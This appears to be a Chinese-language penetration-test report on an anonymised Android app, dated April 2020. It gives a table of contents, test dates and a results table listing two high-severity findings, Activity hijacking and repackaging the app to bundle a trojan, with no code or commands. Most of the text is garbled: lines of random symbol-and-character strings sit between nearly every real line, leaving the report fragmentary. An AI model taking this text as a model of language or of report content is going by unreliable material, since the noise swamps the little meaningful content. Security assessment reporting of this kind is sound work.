( E/ i$ i) I) @; h$ |( L; y) D: k' g4 ], y
C, L& E5 W# x/ _3 D ?. Q; z6 y
( C+ @5 A: F( B; N' P$ \. [: \# R7 z) g+ D! ` m& u+ h- w
$ E5 t9 _4 y0 P; K$ z3 A, ~% F
7 J7 e* o" s& b7 c
- g& h6 ]: _ Q( H. D" Z$ o* d3 e4 S; \, Z" r. q9 z3 l* R
" R8 P! ]9 s6 i- |3 B1 @( B# \; D. ?+ B: U; n" P) I
文档编号: $ V8 U" o' N9 f( M$ g0 q/ Y
m$ ~' k' @ U. Y, ^
' ]6 @+ k% P. ~ b1 s+ m* x8 S
2 k7 D( v6 b1 P
) _( ^7 T" V9 x: e( p F8 h& e% M( a, l
9 O/ D: l% u+ Y t2 H
k3 X2 T# ~& D3 L9 ?+ q
) P6 k/ P- {- i- K
! W/ X0 N, P2 i0 Y' Z9 ^/ t& E' I
2 w0 B3 b. x9 ~4 u9 |7 \
2 Y. ~; G/ c$ L e1 K * p# a4 e* r" I3 o( b- U
{( \. d. R5 i! @5 B- a
, |: ]: o& J0 d( C* H, Q
" A0 w1 y4 J5 O9 K: y7 [8 }% A
4 W9 r1 W- P& v+ q! p2 Y$ `% I6 U
. e* J2 Q2 U1 ~3 c$ S! Z1 |
3 n2 z7 W; h7 F* ? O3 {! J( Q0 N; f, J+ C! p, X( l3 {
, x- s0 C& Z9 ?. r7 e
( w: m" Y* E, C. D' E1 Z4 N! `8 Y' { : S% K0 S& R" v* `; c) S* B
% [5 o" a" S6 }1 N& p8 p
* y8 N0 u& i* G5 |+ p% f" |
5 y8 B* X5 n6 w4 {8 Y
9 N% o: F) v9 j+ L4 h
- Q H P { q; w9 k: w3 [
+ [; t% F6 L. ~7 m2 x3 x
) N: N1 Z" c4 W0 b; k. |3 }
" F- b; W6 t+ Z4 |. ?, Z: @4 s+ e/ A. V% i5 a4 A2 {
0 T( ?* k5 _( v& h
" ^8 y8 t7 _2 n6 h4 z 4 a+ x, u/ d v# `
7 v% s7 T/ L5 [! x 某某某APP渗透测试 o7 r+ A. }; V; M+ F- W3 q
+ L5 H, x- K/ g8 j3 v
' x" H, L: U6 N: z
3 k. o$ f3 W. H! A2 q. I( b 3 t: @( M" k- \0 T0 t4 M
7 Z- l1 U3 M7 p7 m) S% l
0 Y% x, P B- k0 x! y# k+ [. X& |4 \6 S+ P, K* w
4 W: |4 G0 _& g8 H5 a* j; H/ x
, q9 p) m7 z0 r6 ?1 h: Q % |$ g% c1 |0 A
" k' r1 o9 @$ b, c( Z6 F7 x* B* ~
" m, B: q2 D& T* U# h2 j: I/ f
5 J/ w: g% b% M) r6 z
; J- ~3 V1 U3 j8 b4 |2 D7 `" P* C8 S* u3 j& [) U
6 u3 j& \ l* {
/ a: k7 _3 H$ Y1 a, j) O
& |. {/ |. c2 L R
' U/ v2 B% v& q9 F
- G; E! B2 J* v- F9 |1 A. c5 s) F& k. X+ l( A9 [' L
, ?9 U% l' C* F" g: J9 N3 `) `
+ z; [* d0 Z9 j4 l. w( h, O8 ?7 l
2 }: j) k0 O. a# |, T3 @5 o
: n) K; v/ [8 H8 G. D' B/ E9 A
5 _5 U% B0 s; V2 {; l2 S- s5 Y1 b k
& |. i& X6 R4 V2 h9 z# w$ |6 S' h* J7 M& _' ^+ ^
技 术 报 告
l I: m j! z/ Q
: J. u: g1 q: J! ]
2 [0 G% j R1 Q
. I% z$ b0 O2 t% e! J: w 2 m7 d1 { c; W3 }% Q! }
$ g1 G b5 c2 a
# N# q; Z/ G$ e6 E8 X0 v
( o1 L8 ?# J3 f9 q
9 k$ h5 o* C! G2 [
" q0 |" f" B6 \- i5 P/ x1 b
, t" v3 A _( o4 `7 Q7 y# }! B7 [5 J; v. z5 ~3 @
/ b2 X7 h8 k+ W, o, d) C$ n
0 U1 r: k9 w' c3 T" f
( F a; A8 R) ^! Q1 n$ D$ E9 Z# v! c4 S# k9 S
$ y& t7 c& ^' ~5 J7 a' k, e* s# f3 B3 m/ m
1 B! l% H8 U- D, {* a1 b
& y. ` ~+ M8 m
8 Y @- L# I' G
6 ?+ T) y, S5 ~9 U
2 @' W9 L/ U" L& w1 p: G, a+ v9 J6 ]! _7 _; R4 Z. j
; o( `% d5 t5 t& y
/ c/ b5 J7 A: a, X- Y
7 I9 }" T# S! i' {2 W1 }
" e" u1 b$ D* L6 N9 j1 x; P1 c, Z & i3 n: D, e$ f1 N Y
* d+ h* W9 L( U$ X - { V7 N3 s2 K) }
$ o& X l3 F2 ^4 F s) t
' a; w* r, q) F0 A
; @/ g1 R( y* \" ^- g
4 ^; o1 e7 G( B J- x% [# G+ e9 ^
3 O/ L, p3 |- K( I& E- `* [ ; Y ~) e7 A. j6 N
2 h+ G7 g. p$ Y4 B; o
# ]0 Z) j8 P% v! {+ T- V9 s8 |# P1 T8 p" g X
, k7 A2 c7 T( x- X
$ Q' B2 {! ?, y/ C$ M3 _" s
1 U+ J8 }# A9 ]& ^* `
3 \+ M2 w. N" E% h
' x) @ p2 b* r) E. {8 u& v) C% N7 L$ e
0 D! L4 q: ]- [* v% {' b. d8 P8 X
. Z3 k8 m L8 k- A, |
" D R$ R3 d2 y+ S
1 E) s# V: h4 w5 C2 f4 D
( [5 ?* C' F5 @/ g- {+ L/ r) M
* f# a2 C& L8 x! K- D4 f8 Z/ @& h
6 s% y# t8 ~; Q3 k+ _; u' k- u+ ^; O6 B, o1 l
. z% S! m* e5 e1 E5 ]6 ?
0 z- o/ O- W! g( y: V. H7 E
8 f! N# b! R( W, \7 B8 A! d
7 ~' G5 \$ ~; q( |, z8 j& y
! [: W. w! K6 q, c9 {: o7 R) l1 k; l, s
$ \% Y) k7 Q5 J: e* t
; f! ~' ^) }, O( z0 |+ `1 \% Z
) \+ \2 Z: U7 r* P
! E' ?" @5 c! F
0 z4 ^5 T) e' q# t! K' { 0 q! ?8 S' o9 @ F
: O. P9 r. I# b" U0 x3 _
, W: N! o$ ^- u- f6 d* U: C/ ]9 W; k7 P% D
0 B3 _1 \2 Z W E; }* z5 s" h6 P c* R# H
6 j* h8 L. o. u$ V+ B$ [8 G7 d$ p! F H6 A
5 W( Z9 X4 }; o
0 k4 n$ R+ a. {" t6 |: B9 y6 V
; t* ]' `# R2 L9 s2 Q
/ j* X1 z4 E' j
, h Z& u% D1 ?% _* x! l. n2 o9 i+ U4 u! h( J$ [
W6 W; u3 B( O7 E
, [' t6 C: i; i0 v9 F' t l
: l% k" y( [/ H+ B/ P u
8 ?) \' a3 k/ ]3 X8 W- y7 o9 ?
0 s# T. H! J' G3 g4 M7 n- X# M, c- E; r& @; ^* Q* M
' X" k0 R# ?3 i1 M
, ]; w; D' I8 m; S4 z8 [
9 g1 a' `: T1 M+ J# P* z/ U: h& N" J: ^1 _
' K& D1 Z9 I2 ^) K
- x* t+ p+ U) B
* ~9 Q! t& D2 D0 z3 r+ P: L3 {. b: J, r9 U* V7 G! ^$ `
7 N' m9 b' W) u2 C, G. P
+ ~# b/ a7 s1 k7 `% Y$ F ; c8 [2 M4 p7 u
9 ]! | x' i; J$ a: D H
) \) h' g+ c @/ z* j3 w6 E b
3 d" y! K: _ V8 B
# d. R( k& V" W C: \7 L0 }9 J$ M. I2 S" H0 Y( |
# y" Y/ e1 @8 G( L
* u6 J4 d, G6 W5 j" _- \7 a4 T
x A- i. I$ x; C
7 Z' G6 p. w% E
9 J3 ?/ O" ~9 v) A& M! r# t
; [ \+ E* H! ^' _: @
0 N5 l4 m. k& f5 f: X" l/ S# s* c* S% u! o, ^) a
. `* A/ [: F+ M
( p0 ~: i7 U. @$ J2 N+ f
7 z) w5 ~3 e7 o% U: E
: e! `% w9 ?8 F$ |, E0 E, n
# d& Y6 a. s. R. f( t- |$ t+ I
* K& \0 g- Z% [ G7 t7 H6 [4 X6 a
二〇二〇年 ! F1 S9 L7 @3 I+ B
% `. m y0 p0 e& O
0 U: S( w8 b" q) F% ?- b
/ B* J8 {, \3 Z- S - x; k9 T! v, C Y# k- `
6 M, }' y8 P/ _' `& z
3 j8 Q V3 G+ W8 }3 x" s" d# e: T! Z: s. e" g9 o8 U l
k# c, O( n5 h4 p" \+ Q
S2 v ]0 f* @, B) k D0 s' _
# a6 V0 K! ^, u$ O
E) F+ H. O i: G9 z( d7 u! P s
9 h7 @1 ^ u* J( b9 C
; c2 G1 z l. _( q( V5 w7 J+ @
5 \8 _2 f& K3 f' ]9 E* U/ Q8 H3 N- k
t$ u3 S! C6 G- ~4 c$ ?7 C
9 x8 _8 m5 L# C8 N" E6 F5 U
8 g: C! P; `; s' K6 s
- k0 u$ z8 q5 X& B9 ~7 |( l * C# K+ I1 I, Z3 w$ S: w& O
# ~1 D$ g0 n1 M8 b 目 录
0 r5 @6 @5 w' z' s4 m H j4 c% V" v
& h! u6 N1 z: v- p* j
: B; x2 R0 k9 o: P4 L
. S+ y5 d2 L3 n1 I" O1 ?: A5 E. v$ J+ r4 G# s2 ?& r; g! C
5 {" [& K6 y( K7 ?3 s& k& w" e# B
; L1 D; |! o y2 Z
* X5 s: u2 O2 t) R0 r- `( m- N; ~8 w# D- D k# h
+ `# E# u9 @+ Z9 N5 {8 r3 g) m
( z( V1 k" E8 ~
6 k: l: Z2 D! u$ M m7 J; [! D6 V) w+ }1 I
1 概述... 3 6 C. e* s8 h9 O7 g/ | X
6 j+ K' R+ o4 O4 x2 I! l2 L- H
1 B7 l5 `+ M6 G8 N: [
" Y& C3 p* F# ?" b- D- l+ B: S
5 y3 K1 H2 r5 u" w/ A
1 [7 Z. s9 [) Q% }) t 1.2测试时间... 3 7 b! q9 ^1 T5 x% T) c6 U/ H/ C
( r. c% _& p v6 H3 O# ^& ~; N
a! B+ X) U% f" F
; @) P' B! Q, g. l9 L C' M- Q; f( T1 T2 @) Y
8 Z+ g+ a6 {. L6 S# y0 R9 Q* F
1.3测试对象... 3
# O) h1 j I% u# G( }- y6 C9 Z) s4 ^6 Z! L7 z5 v& Y
F0 N& C' g H0 P: l; @
$ d+ }4 M) r) Y9 p9 L8 S9 H& Z 0 G+ r& S& z' r8 i9 {- M2 Q
8 o7 D9 u W8 N$ |# q) }! _
1.4测试结果... 3 * }8 b U# _3 k( w' s
) _* E1 M% O5 _! w
# ~( b& F9 \& i2 Z+ e
5 [! t5 x7 p4 n( o; \/ | ' Q6 P7 c Y3 |, _2 V$ w
! T$ x& M" ^4 f% a! W& D) @: `2 J
2 检测结果... 4
( u1 o& d7 m6 K
. u% H3 T7 C3 Y j
5 s. Y2 Z9 m& i5 j- p' j/ U3 G
Z) ]+ F& M; X# t G" z
( {. h% m8 Q. B, a% x) `1 x, o9 d
2.1 某某某... 4 ' }% p, o, D& i( W
& s* ^. Q8 z6 o u# ?( Y
+ N0 B: ? U5 I" Y+ D$ L2 e
0 V/ S0 K% Y9 v, n# G8 Z1 s& S6 w6 l
( P5 m0 s9 L: R( z) Y7 {/ @
) ^( c* ^5 k2 @$ _9 N 2.1.1检测目标... 4
7 b; t% A1 j, z
* s2 ^1 |# G3 v* e2 e
8 D Z, |# m; \4 m4 h0 v c0 }# G
& N; q# \, w* ^$ k4 G6 J " C% `9 l" l$ c7 H ?
9 b! M/ }; t6 m' [3 g0 Y
2.1.2检测结果... 4 . m5 R" c9 e- z& s, m4 @/ W
3 S- g% N/ k z7 P
: k7 b" @) x: p- s
" c9 i: F' t+ G
" {- m! @2 p6 q# l% F( F6 ^6 R' O4 D* w' n: c
2.1.2.1. 4
9 n% X/ B' k$ C6 E- _3 e" q; F5 D3 ]# |8 B
) w+ m/ A. y. }# L ? G8 y
0 X$ o2 I J" T( L# T1 a
! N9 g* w' k. _& ?
2 ^( a d7 E5 `/ K 2.1.2.2. 6
o# D9 f7 D8 M4 V. T0 I X
: Z. T' E" ]' k" F7 M4 W, s! ?
$ K; ], b$ o) { Z
) g. O( l2 r& c( ~& ~5 ~# j
7 M; d X# J$ q' V# z6 Z2 c
4 p+ t$ ^; }+ E% V5 a . [; b% n$ a. e
0 ^$ s8 ^" N E" L
) ]& P' C' B8 Y* i. f, U
3 n* k) S& m, Y/ k; ~' l, @2 s7 d
# N; w6 M1 p" g' a3 h. N4 u4 o , |2 {- m- Z/ n. X, h: J# a
1 A0 ~& I" C& J. G/ c
: N/ h- h! z1 a
. B9 ~: `8 W4 z* u6 A! _( G
# r1 H( n7 J1 G
% {0 {! x$ S8 M4 K8 g
+ K1 U6 E; {% ]) c/ g/ X* }
- J0 G8 C b- A* o5 X$ o) j 1 概述 2 b# V4 M- d( r* k
" T( I3 \7 P6 o" Q3 Q
9 [9 {$ p" m0 C( {+ [$ M, U
" |# d* U3 [1 v5 [& L( r. f
6 I8 \$ ^# F: B. P: P6 N
. X0 c# C" p: v; M3 t
1.2测试时间 3 X3 H/ A$ Z( h0 w
A6 R* U' U0 P4 `. `2 }
$ ?: K8 s& o8 U- G* Q8 d
4 E% x" {3 K1 w* ^1 o
: R R" N2 B! r9 w0 J7 G0 p
0 S6 B0 X+ s* e5 q # m8 @6 `5 t3 J6 t$ I
" g1 H7 Y9 e& E1 d% y9 y' T
+ J( N4 m: i# m6 E
8 `: U0 j, d# l, U" e1 |- T
/ Y4 C) Y" @( n- O6 |
/ N& K( l$ K' g* i8 v# n d# ?2 P p3 @ , p2 D2 v @1 J% _ C( q( _( @
2 P; q8 _+ P- C7 e& G 渗透测试时间 6 Q8 v" e# D7 A% T: e3 F, C
/ i8 ^: y6 D4 H* g$ b
9 M/ i8 a! U$ ~$ p4 F8 M
+ f8 l) \/ o. t( ~ |
5 d8 n" L. R3 |4 n, y- O6 J# v+ `* L. _1 G9 d
( T5 j- K: c: b
- h/ J" V+ v+ W* q
) U; N. V5 x+ ]$ F) F: ]' l* c8 ~9 z+ a' M7 P! J0 d
6 _. \, x2 \8 I1 M8 h
% Y# n: ~, t* B, w
1 d, w7 v" @3 H2 |
/ ^+ {# L& m' o7 G 起始时间
0 N& _& H8 [. L4 i4 x# |
# V, B/ Y' f1 j- k
0 Z( Y% w) g! P }9 x
3 @4 Q' m* P1 |. R |
6 r' X" p* q& |3 I6 D" D/ A. Y/ y: x( Y% z% y9 M) g' [# N
3 O8 V2 w, t" n# g, U; D
2 I4 X& \% a1 v
4 @5 {$ G" j! j$ [ }
- \8 ], d, L4 X$ k( I; X) L 2020年4月6日
. N0 r8 L& H; W- W. r b
# p9 N9 g5 Z9 ?6 p4 g. x, v/ X " F4 X8 J' u! m Q2 A0 y& _5 O
1 Q- {: o0 B6 {) u5 o | 4 F) X( \. v) l/ @, n
( }& j! b; X( F0 t. X% ]' T! ~3 n
7 E6 a0 ]% A9 F) w8 n) g' j7 W
2 y% S0 D, D; b7 {, {/ L- n
- ^6 j$ W) z3 |4 y+ h
9 X6 [# I9 G, f; H' ]
/ P" x, s! M+ k" A$ \1 {* x
( O& D1 ]8 d% z9 W" E' {3 j 2 \& X' @% Z( L8 ]1 G
1 I3 u& {! x, J6 o- [; T) N 结束时间 , P' f) I2 o! \
& Q% K3 |- ]) X8 J0 W
2 t# _- b8 E, v2 r/ Y* o* m
3 J/ j7 Y3 e8 O' t& w |
' z" X! z$ W6 d+ ~' V1 _
9 O1 ~- P: E# W. B* w' | 2 @0 K% M* c: L) T- A& @
0 K! |+ @$ w0 y% b" E. Q# ~* Y
& m0 ~: D! N# l9 |0 t- r2 O& t7 y6 e& z7 i
2020年4月9日 + j7 t1 `6 o4 Z+ S# g; m
# |9 ?7 I c6 ]8 H . A' X3 K+ Q3 y4 I
2 d& ^/ b3 z. z) Y2 D
|
8 m! o* w4 J, b# Y# j5 d( T0 {
/ P6 e9 {0 x2 S) L) A) U) A' s4 C- p' w9 M
" i; ? c+ t" s; ?5 G+ R8 ^
6 P2 w8 W Z- }3 F% H; ^. p; C, S1 S
S- B* X. P, [: }; }# R/ F
& L% v( E3 H* r5 A3 V; E+ ~
' |2 R3 }; a5 p; v0 L+ M% e7 _: @4 ~/ c+ _! s2 c9 g
1.3测试对象
; N. O) E6 T. c! k. i0 v1 `" @' A8 u* o$ M0 h
1 e5 |* l: t" O7 a' S2 ?! n
3 K, K, A8 v& {+ z3 F: w% z
8 {2 T2 ^+ r8 w! j7 H0 d V
2 v& F. K" ^0 A/ A. g @* B 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: " \" B6 q X( @, m! y
- N( b2 x/ X6 h# ]( X8 y
# J+ C' {; r$ Y1 T$ ^0 A' G2 s1 g0 R/ A
# M. A& y1 }6 M' R g1 g! W% \: |. ~: B2 r
表1-1 检测对象 " }) B' Y, h- p1 l" V/ c9 b }, H: m
& I8 u- |4 W1 B( L( @) ?6 S J( a+ t
+ [# H6 N9 U$ @# c
Z; T; }0 z. \0 f z
" T7 y2 N, Z; p# o: n& e' q9 }& R0 q$ T
) k- _% S0 Y4 F5 L4 X5 w7 k
6 e% E4 B% J6 t# q7 ~" C # }: u+ u" L9 X: e6 \7 C4 j
+ B/ ^( @ l Z' p+ M8 Y& K9 G
6 [% E- y3 r& p# Y- l+ i
9 F# K m8 I- Q- M% D2 y" h- A
1 G: k0 J' b( c8 J! s# N2 `6 s; H4 A
. M6 k2 y7 h; Q& z: { 序号
$ c8 b2 S Y3 j& s* }* C+ H7 }1 K2 }& ?0 D6 V) g3 s
3 i- P; t4 ` r* [. @7 W% t U( ?. j% V7 Q! m4 D; \) u1 {
| 1 {% c' S% d5 g6 w6 t5 x1 q
1 J7 g$ q9 b2 t: F0 {) R/ Z. ] 1 B; b7 j( ]8 W1 Z* x
/ a i; }- J) J/ y1 P
Z9 i. G; J' o D5 U: w$ r! U A8 z/ P3 B# u `: R/ j5 E
测试对象 , V. D2 o0 o$ f+ W5 j
& B4 c/ ]0 V% O8 Z9 X
. @' v* @& l# O: j* b8 L
. }, b5 O0 B" `$ Q' G$ J& V |
" P! F0 ]9 m+ u' [- T% @& @+ p: }2 }9 N; K9 u$ |
8 s9 ^9 |3 f/ C0 |" T4 a; m2 {7 t. j/ {: O; I! k
5 V+ L u& l W1 o- F3 @
- [, v/ p. w h: }2 T4 [6 h 测试地址
* j! ?) n# V$ [5 P" l! X( X7 `! X3 x3 u- s4 B2 O
9 B; M& L. N7 A) {( o5 }7 V- a- s l
9 R8 q @/ u. R/ d, J |
' d/ `+ }; e; D( _# I5 N7 l @' h% C( b+ O( p$ t8 Y1 m
& [; m' h$ t# x Q7 F! N
: T( c: ^# b* l% H6 ^3 d {/ h' A' U
- J. ]' |! k( O: b0 W1 E$ [' g
) {/ i! l; y+ {7 E7 e1 d: F- w 安全漏洞 3 {" }) J1 W- u W4 J
# j [/ l3 w3 [: U8 E
z- g, W F) p& }: M4 T% A9 u5 i) q! o& T1 K# l
| - Y H) Q, h- `+ @( |
* x; Q. O1 S; @
0 l- ?. C, l+ ]
9 Y1 S$ d c8 b% v7 Q. b
8 }0 V* b- V3 p( _
+ x$ i- |5 I5 u
: G" O$ P; f2 f j }+ I1 U" s( Z) s% [ J
2 g$ d3 G" c. Z Y9 q5 L/ H: k/ a9 n/ j/ s& D
1 4 Z2 q' _' L/ y. k/ w
) u9 u$ ]0 g W: c; m : O, m" q* q3 y8 y7 M
" y1 |! f; ^- B$ x, g% j | . p* W, L; G# L, Z$ J
4 S4 d, _5 S3 [& `" E4 D% e $ o, Z$ N# Y+ Y+ j( C
' N6 `, f- y8 u# f" N/ v& m
; g4 f* H; `1 d
! y3 f# m* y8 u3 H5 [
某某某安卓APP
5 t3 X* `0 X6 b) L9 R u$ {1 ?) k) v6 _5 Y
' l% P7 i7 |! T. T
# s. M$ M: K$ d! d6 p |
9 Y0 p8 }" Y5 ^2 n2 G3 L2 D# ^6 O" a/ ?/ A( m! V- \0 M2 c
8 |0 ^2 m; B) \2 q' W
# Q, s+ Q" ~1 }8 T, `5 N7 I
! A- u% R' i% P6 i; C) X
* D5 i! A) k+ h8 N% e6 z1 I 4 b, C( I2 Y+ Y+ h$ g5 w
% ?( n7 Q3 [3 i& u: k" F
- w( l: U+ G2 I4 c4 r8 y+ N4 E5 q- V) b1 |
| ! W O2 Z6 O& D/ I
) y* z. l+ ]: H8 `! ~% T2 E
5 L/ e* U9 L# p: l1 c& H' z* {+ M& z, J: y% s6 l6 F: f
, F& O0 i/ J0 O& e
$ j% Z" N0 Y# b# f0 C l 2 2 a. ]! J% ?+ v
/ }7 _' O8 j) G2 h( y5 G- z
3 M4 T9 O' ^" s, S
; M7 X J" t- C. I6 [ | / s* d5 p# |. z$ x) ?% ]4 c, i
& ]$ [/ a+ j4 Z! d
4 ~. B: ` W' L( V1 X" j% ~
' V0 w& H7 p: L4 j' K* G 8 h0 V* T$ V2 Y8 E7 v
5 U* a# X/ e. k3 ^
8 O4 t9 N2 O/ Q8 f }7 u1 K% B% ?( B: E8 v+ S$ r2 Z. d8 K7 t
4 z4 l/ S; \4 \6 a- e# M
4 L1 b% `* P% ~& B2 }
1.4测试结果
5 _7 A, g% K# W3 r- ^7 [8 @, }0 ^/ ]$ J9 z/ S7 ^. ~/ U9 l
+ A/ \1 z6 A- m* z' A
. D( y! ^9 @9 E( A0 x$ F9 x
]8 N( P6 d; k2 `. Y9 f0 x' d4 k6 k
在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: 2 u- b4 Z6 t4 ?) ]
( P y: _. D# P4 o+ `" p
' H. |1 _* @/ f9 E& F
. ?5 ^0 G+ _# U 4 o/ L! R2 Q4 F
. y0 m9 \2 T& |$ f9 U- H- p
; v8 o" r: E& q6 e% L9 O' [
* T( ]$ B. |. Z
' X' e- \! m8 t0 T. c( R
; l- `: `% E6 p
6 K- R2 m$ l* s) ?3 {+ z. J# G
$ ~ l" L; \4 |1 [
, A4 M. J5 M9 W# Y6 D% |
# b( E: y$ r- Z
' n9 Z5 C# O Q+ R; J. P; e
( e7 M8 R5 V8 o0 Y5 A
+ G: p* P7 {) ^' L
0 \8 j& e0 x7 \2 {2 l; U5 h! Z
) D( R3 c: F3 U# Q2 \3 P1 {
& [4 S N) Y+ [9 z9 ~
6 ?- M0 U# ?; X; v7 I1 Y
8 b T O2 Y: J 序号 ( j4 U+ [' R7 f" X8 L, v
5 u/ p, z0 ^6 D* @
% `/ `. Q$ v7 M, }% s) A% z s
4 I* e( C! I& Z& A# F | 1 c8 N5 @8 \* @3 i! J& b+ a
, o% J6 ~( w6 j X; Y/ W
# a( K6 L# d% m& i$ v' V
Q* V! t8 d) \, g2 V3 a3 G- L7 b
- X* p6 {6 x( |& D: a; ?
" t6 _1 W& `5 g+ Y5 l: ~
系统名称 / w% e' y. o% h5 h
$ C9 j+ s! y+ Q, W7 i) X$ Y
" o; @) {- s, Z/ _7 q
6 o1 D, }/ X9 R4 E& o& T
|
+ ? O* o9 C9 ^% }( I) u2 D, M
3 m- d( I# O. [4 I' `: H- n 0 s' W6 [) h5 c0 D. o
$ D& w+ r6 J% C' \* k+ L$ H- g. r: ^. }
7 X9 {7 s1 n" Y* K9 m0 z
. N6 ]' s* e" Z& c% y 漏洞名称
6 J7 G, r' d) L& u# P; `. c
6 C3 H/ n& I; F d" R+ V * e8 i% w5 X' Z0 d0 x9 u6 I# a
* R* r8 b- n& J* n* y+ I1 ~ | 6 U H$ `9 d. C5 p8 m- i
9 x, }! f1 `* G- Q
3 e: [% g5 a1 E& Q
2 d8 ]2 K3 \3 [# t- c
- ^: z9 O+ q% I
4 ~( {5 V& f5 }% |9 C. w 漏洞危害 2 Z0 i9 q2 s3 ?" Z, Y. l/ y& ]
& B' U( N3 e+ ~% M8 Y u) C: q
: Y$ |% C( r4 E# H- @
- k( g+ t) ` N( F+ A1 {: N0 R |
/ f6 c$ e4 e J6 s& M: J4 B% ^0 _3 ?& X" b' _
' T2 a3 G3 V: j1 F, U
% b0 t" M e- @: L* p4 b9 R
i6 r; E7 b4 d. {7 X- \2 Y' L5 b9 M
修复结果
9 r2 Y; r* ~4 N. r, @. G0 A* o1 m5 P& j- ]5 w4 f/ [
% v, r. u- r% ]6 A) e3 k/ i+ t4 q6 D
! P( O! ~: d+ ]9 ]- J
|
& E! }8 k# Y: @" e' C- A# R4 ], I! q
, @) I6 i7 e5 G( }( O* C
& Z; C. ? T5 S l4 }; s* w2 a
3 q4 K; l h9 i0 y) N
+ q0 H1 f4 G4 T" T & A: X9 r( A, x6 S2 e6 R7 P
- U' c$ J( `8 I3 Z + U8 ]1 s& K1 Z$ X4 V. @
% m2 O- S; _2 J) r! x' w" e5 d
1 3 O: O$ ^, Z7 b( _' ^4 A! f/ P8 h
: B1 D8 L. i% T9 n4 R- a. ^
$ ~5 |* A T, S+ e# }
/ H& t1 R* I/ ]8 { | 3 J& u( u! U' U/ B! d% k w
4 Z5 o% n6 H9 G2 w3 ~5 o* \
7 x+ K1 q- C" D4 k6 a! m$ o* B. h7 X2 r. R( T$ ?4 n
" E& Q$ n* ~1 }* F! k
) `" e, X0 A& {! {7 Q V* |) a 某某某某某某APP
8 I8 Y# P7 H6 z! v- x2 O6 M- m
* W+ i# c0 }" |' a 5 V. K; |3 l$ K9 `8 w' t5 z' i
4 |# k3 b- B* x; \5 N% G
| ) q3 ~1 ] K! U( y/ [5 k6 W" b
, R6 W o5 v0 w# m
\, B# u1 H1 V- J' K3 T! ~4 E( ^' b; z: ]4 Z2 c
3 w9 E+ s) ?- b5 a8 e3 t: f% e
9 ^, h" e, H. c. R Activity 劫持
. T# {% v( N3 q( G( o. j' F. a% ^5 G5 x0 A2 @$ ~6 y0 h
! k- N, Z% [/ T# P" `
' D4 l% t5 g' |
% q P2 C/ D. x! p. E6 m. y
$ `3 L8 P# Z. n' N8 b0 ~
8 `* u& f1 h1 C+ F" L1 ^
1 I5 R( y4 [; r8 z5 B. E+ p0 w* c; i+ y* W $ O' x3 j# ^$ E( l3 b$ W& s/ t
1 h& w. H- ]2 h, i3 t0 S/ a/ O
| # t, A3 f2 g4 t; A1 C7 _5 H% @
# I, S' v. o; g6 N
; h& `8 X# U1 y7 f
; F* E% N, J T 8 b {" ~+ ^1 H
1 L' G/ ~9 n8 w1 b: Q
高
0 @& ? e9 G/ ]# B, B. x
" s0 }& m/ j6 k& M" \7 R, X! R0 Q
3 L' `" b% E3 E% n% U
( q: }* U$ j6 L) V+ o$ H A' H ~ |
% Y/ z3 `3 N0 L+ P# t! |5 V* q
) }" D3 s* N8 [. J7 `) R2 b- @ + u a- ~4 l4 ^/ G$ P4 n- [
% ]7 d6 w& ~5 N5 U
! h" k7 T* ~. g/ w0 q3 ^
2 @! y3 L9 _; t
; F0 C$ D! ~$ D* [8 e
/ \5 i3 u4 W$ [1 {% V E
3 L& }, _; E _9 g" V6 t
7 c* ]% E, @- C! e5 [ |
0 y! R3 U) r7 ~7 }1 z1 D- E) z$ y0 c7 C$ V
( z4 U) x6 @6 x
4 U- u0 w0 N1 i; v7 ^
, i6 r2 G3 d/ k
5 \$ I: ^5 Q8 ~! H+ ^
/ B) ~1 q2 X) e/ i9 l" B" \) T2 v, }+ H) u& [
; x; S& J, z* D% N+ ^* Z9 X
8 Z: J; T) R1 `5 L 2 * `3 q: o8 F1 d, U7 \, D) r
. i/ M+ e+ ]6 q3 `- }' H& u$ W
- N' a" Q' A4 y( |6 A8 O. J" M5 X9 R( V, C9 h
| : ]" [0 b- Z9 v
* ?1 K7 k- f6 H8 D
# H8 W1 T3 T+ x2 W2 F/ s' d- a2 e! {$ Y, y( z9 b4 W
) V6 \+ c X' y) C, B; M' m" m3 Y' ^, s5 `3 i% Z! C
某某某某某某APP * J9 @- H8 P5 i3 b
1 W, o# U! i7 V$ P8 @
7 s" V# \( K, M, q Z% o( p( K7 D7 A/ w
|
& R' N+ @( i9 C) Z" Y3 r6 w8 b4 H% P1 h" Q6 R
, [9 K7 X- N' n8 w1 D
3 |7 x) `. H/ O: Y; C2 t
/ ^+ d+ N" a, d* h6 W
8 [7 Q9 E4 O1 p$ |, b+ T9 y
反编译二次打包捆绑木马、篡改APP代码
/ C* F6 R/ t- g+ |& g+ q% R8 }
3 g3 O6 o: m2 j) K, w4 _0 y& X 4 O" m6 _/ J7 x# [ ~2 u" K' }
% K$ \" P. ~9 \" x% ?$ P) |
| 1 y2 W$ ]" E) `0 Y0 b
+ u" ^* n) y# v5 S# U' C9 X8 U
* l+ T/ L6 |; A; K- h; }+ \
" X% p+ `+ g4 v/ s6 O
- b8 l6 X7 y/ C8 U) C
0 X6 l3 W# V i 高
# l6 U+ P+ p1 j* V- k( Q- x3 j0 }8 ~ a
3 P! d+ n v8 q* d: H- \7 K- @+ y" W7 L- b! K6 Y5 d. B. m" D1 _
| - Q! K1 {5 Q! @8 G( y5 @0 ~
4 p7 j' x4 I) Q5 X6 t) X
; s4 [! [/ E6 k4 M$ F/ @
" s% t- ]2 S0 @( F* J1 p
- W1 I& k, \2 Q% g0 X
! P; n {, i6 Y& S. {
5 W! P# F. ^/ _& I$ r
- k, G$ w2 ~0 _# B) K6 I . }8 S% z6 X5 v& W. `% G. J% N, b, p
/ v: D4 g2 L. B' P% Z# E
| # E5 W1 p) Q( p. e
9 B9 h/ k% F7 z" N
: J. D& x! {) Q# Q9 ^: s: ~
( X7 H0 W! r4 |. t$ q4 {
5 Y% H3 P5 v; I X3 Z7 c8 h8 k4 W: s
1 T6 S, k/ m6 h" e# B: N
: j$ z4 z3 L( h7 ^ 1 |2 y3 Y( n( g- y" ~( l
2 u6 s/ a# D- A% U
; `) E# N& n& G, I/ Y
! K) _, H9 C$ q7 s) X$ {, M
% c1 {! y G Y1 e3 m0 A/ f: Z
5 N5 k0 p) B. W7 O) ~5 ^
9 V1 W" Z7 w; E3 c2 r+ L
- `/ |* V4 v& J* X8 V7 T5 z6 a& q
, J! @; t$ t' [1 m1 E- S4 F* T% U# V2 U5 Z; t6 w
